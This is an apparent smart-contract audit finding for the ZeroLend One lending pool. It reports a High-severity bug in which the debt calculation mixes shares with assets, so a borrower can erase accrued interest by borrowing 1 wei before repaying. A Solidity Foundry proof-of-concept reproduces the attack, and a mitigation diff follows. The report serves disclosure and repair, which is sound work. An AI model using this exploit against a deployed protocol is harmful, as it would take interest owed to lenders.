Great Jade Shetland

High

# `PositionBalanceConfiguration::getDebtBalance` returns shares instead of assets, allowing borrowers to bypass loan interest

### Summary

When users borrow from pools, some shares are "minted" and stored representing the borrowed amount at the time of loan issuance. With time, interest accumulates, where the shares amount remains the same but the corresponding debt value of those shares increases, which represents the extra assets that have to be paid by the borrower. However, when calculating the debt of a user (which should include the accumulated interest), `PositionBalanceConfiguration::getDebtBalance` returns the debt shares + the interest in assets.

https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/pool/configuration/PositionBalanceConfiguration.sol#L137-L140

When time passes by, `increase` will keep increasing as it represents the interest, but a borrower in this case, can issue a loan of 1 WEI, which sets his position's `lastDebtLiquidtyIndex` to the current index, nullifying any accumulated interest. The borrower ends up repaying X assets, where X represents the debt shares without any accumulated interest.

### Root Cause

`PositionBalanceConfiguration::getDebtBalance` is returning debt shares + interest, where `self.debtShares` represents the user's debt shares, while increase represents the accumulated interest in assets. This allows users to bypass any interest when repaying their loan, by borrowing 1 WEI just before repayment, this will set `increase` to 0, and will repay the debt shares amount of assets.

### Impact

Borrowers will be able to bypass loan interest, forcing the corresponding pool to suffer huge losses. 

### PoC

<details>
<summary>Test/POC</summary>

```solidity
contract USDCMocked is ERC20, ERC20Permit {
  constructor() ERC20('USDC', 'USDC') ERC20Permit('USDC') {}

  function mint(address account, uint256 value) public returns (bool) {
    _mint(account, value);
    return true;
  }

  function decimals() public pure override returns (uint8) {
    return 6;
  }
}

contract ContestTest is Test {
  // Core
  PoolFactory public poolFactory;
  Pool public poolImplementation;
  PoolConfigurator public configurator;
  DefaultReserveInterestRateStrategy public irStrategy;
  ICuratedVault internal vault;
  ICuratedVaultFactory internal vaultFactory;
  IPool internal pool;

  // Tokens
  WETH9Mocked public WETH;
  USDCMocked public USDC;

  // Oracles
  MockV3Aggregator public WETHOracle;
  MockV3Aggregator public USDCOracle;

  address public owner = makeAddr('owner');
  address internal allocator = makeAddr('allocator');
  address internal curator = makeAddr('curator');
  address internal guardian = makeAddr('guardian');
  address public bob = makeAddr('bob');
  address public alice = makeAddr('alice');
  address public borrower = makeAddr('borrower');

  function _setUpCore() internal {
    poolImplementation = new Pool();
    poolFactory = new PoolFactory(address(poolImplementation));
    configurator = new PoolConfigurator(address(poolFactory));
    poolFactory.setConfigurator(address(configurator));

    WETH = new WETH9Mocked();
    USDC = new USDCMocked();

    WETHOracle = new MockV3Aggregator(8, 2_600e8);
    USDCOracle = new MockV3Aggregator(8, 1e8);

    irStrategy = new DefaultReserveInterestRateStrategy(47 * 1e25, 0, 7 * 1e25, 30 * 1e25);
  }

  function _basicPoolInitParams() internal view returns (DataTypes.InitPoolParams memory p) {
    address[] memory assets = new address[](2);
    assets[0] = address(WETH);
    assets[1] = address(USDC);

    address[] memory rateStrategyAddresses = new address[](2);
    rateStrategyAddresses[0] = address(irStrategy);
    rateStrategyAddresses[1] = address(irStrategy);

    address[] memory sources = new address[](2);
    sources[0] = address(WETHOracle);
    sources[1] = address(USDCOracle);

    DataTypes.InitReserveConfig memory config = DataTypes.InitReserveConfig({
      ltv: 7500,
      liquidationThreshold: 8000,
      liquidationBonus: 10_500,
      decimals: 18,
      frozen: false,
      borrowable: true,
      borrowCap: 0,
      supplyCap: 0
    });

    DataTypes.InitReserveConfig[] memory configurationLocal = new DataTypes.InitReserveConfig[](2);
    configurationLocal[0] = config;
    configurationLocal[1] = config;

    address[] memory admins = new address[](1);
    admins[0] = address(this);

    p = DataTypes.InitPoolParams({
      proxyAdmin: address(this),
      revokeProxy: false,
      admins: admins,
      emergencyAdmins: new address[](0),
      riskAdmins: new address[](0),
      hook: address(0),
      assets: assets,
      rateStrategyAddresses: rateStrategyAddresses,
      sources: sources,
      configurations: configurationLocal
    });
  }

  function _setUpPool() internal {
    poolFactory.createPool(_basicPoolInitParams());
    IPool poolAddr = poolFactory.pools(0);
    pool = IPool(address(poolAddr));
  }

  function _setUpCuratedVault() internal {
    CuratedVault instance = new CuratedVault();
    vaultFactory = ICuratedVaultFactory(new CuratedVaultFactory(address(instance)));

    address[] memory admins = new address[](1);
    address[] memory curators = new address[](1);
    address[] memory guardians = new address[](1);
    address[] memory allocators = new address[](1);
    admins[0] = owner;
    curators[0] = curator;
    guardians[0] = guardian;
    allocators[0] = allocator;

    vault = vaultFactory.createVault(
      ICuratedVaultFactory.InitVaultParams({
        revokeProxy: true,
        proxyAdmin: owner,
        admins: admins,
        curators: curators,
        guardians: guardians,
        allocators: allocators,
        timelock: 1 weeks,
        asset: address(USDC),
        name: 'Vault',
        symbol: 'VLT',
        salt: keccak256('salty')
      })
    );
  }

  function _setCap(IPool pool_, uint256 newCap) internal {
    uint256 cap = vault.config(pool_).cap;
    bool isEnabled = vault.config(pool_).enabled;
    if (newCap == cap) return;

    PendingUint192 memory pendingCap = vault.pendingCap(pool_);
    if (pendingCap.validAt == 0 || newCap != pendingCap.value) {
      vm.prank(curator);
      vault.submitCap(pool_, newCap);
    }

    if (newCap < cap) return;

    vm.warp(block.timestamp + vault.timelock());

    vault.acceptCap(pool_);

    assertEq(vault.config(pool).cap, newCap, '_setCap');

    if (newCap > 0) {
      if (!isEnabled) {
        IPool[] memory newSupplyQueue = new IPool[](vault.supplyQueueLength() + 1);
        for (uint256 k; k < vault.supplyQueueLength(); k++) {
          newSupplyQueue[k] = vault.supplyQueue(k);
        }
        newSupplyQueue[vault.supplyQueueLength()] = pool_;
        vm.prank(allocator);
        vault.setSupplyQueue(newSupplyQueue);
      }
    }
  }

  function _setSupplyPool() internal {
    IPool[] memory supplyQueue = new IPool[](1);
    supplyQueue[0] = pool;

    vm.prank(allocator);
    vault.setSupplyQueue(supplyQueue);
  }

  function _syncOracles() internal {
    WETHOracle.updateRoundTimestamp();
    USDCOracle.updateRoundTimestamp();
  }

  function setUp() public {
    _setUpCore();
    _setUpPool();
    _setUpCuratedVault();

    _setCap(pool, type(uint184).max);
    _setSupplyPool();

    _syncOracles();
  }

  function testBypassInterest() public {
    uint256 USDCamount = 1_000e6;
    uint256 WETHamount = 1e18;

    USDC.mint(bob, USDCamount);
    USDC.mint(alice, USDCamount);
    USDC.mint(borrower, USDCamount);
    WETH.mint(borrower, WETHamount);

    // Bob deposits 1k USDC
    vm.startPrank(bob);
    USDC.approve(address(vault), type(uint256).max);
    vault.deposit(USDCamount, bob);
    vm.stopPrank();

    // Borrower supplies 1 WETH and borrows 500 USDC
    vm.startPrank(borrower);
    WETH.approve(address(pool), type(uint256).max);
    pool.supplySimple(address(WETH), borrower, WETHamount, 0);
    pool.borrowSimple(address(USDC), borrower, USDCamount / 2, 0);
    vm.stopPrank();

    vm.warp(block.timestamp + 30 days);

    _syncOracles();
    pool.forceUpdateReserve(address(USDC));

    // Debt is around 503 USDC
    assertEq(pool.getDebt(address(USDC), borrower, 0), 503_587_374);

    // Borow 1 to bypass interest
    vm.prank(borrower);
    pool.borrowSimple(address(USDC), borrower, 1, 0);

    // Debt is around 500 USDC
    assertEq(pool.getDebt(address(USDC), borrower, 0), 500_000_001);
  }
}
```
</details>

### Mitigation

In `PositionBalanceConfiguration::getDebtBalance`, return the debt assets + accumulated interest instead of debt shares.

```diff
function getDebtBalance(DataTypes.PositionBalance storage self, uint256 index) internal view returns (uint256 debt) {
- uint256 increase = self.debtShares.rayMul(index) - self.debtShares.rayMul(self.lastDebtLiquidtyIndex);
- return self.debtShares + increase;
+ return self.debtShares.rayMul(index);
}
```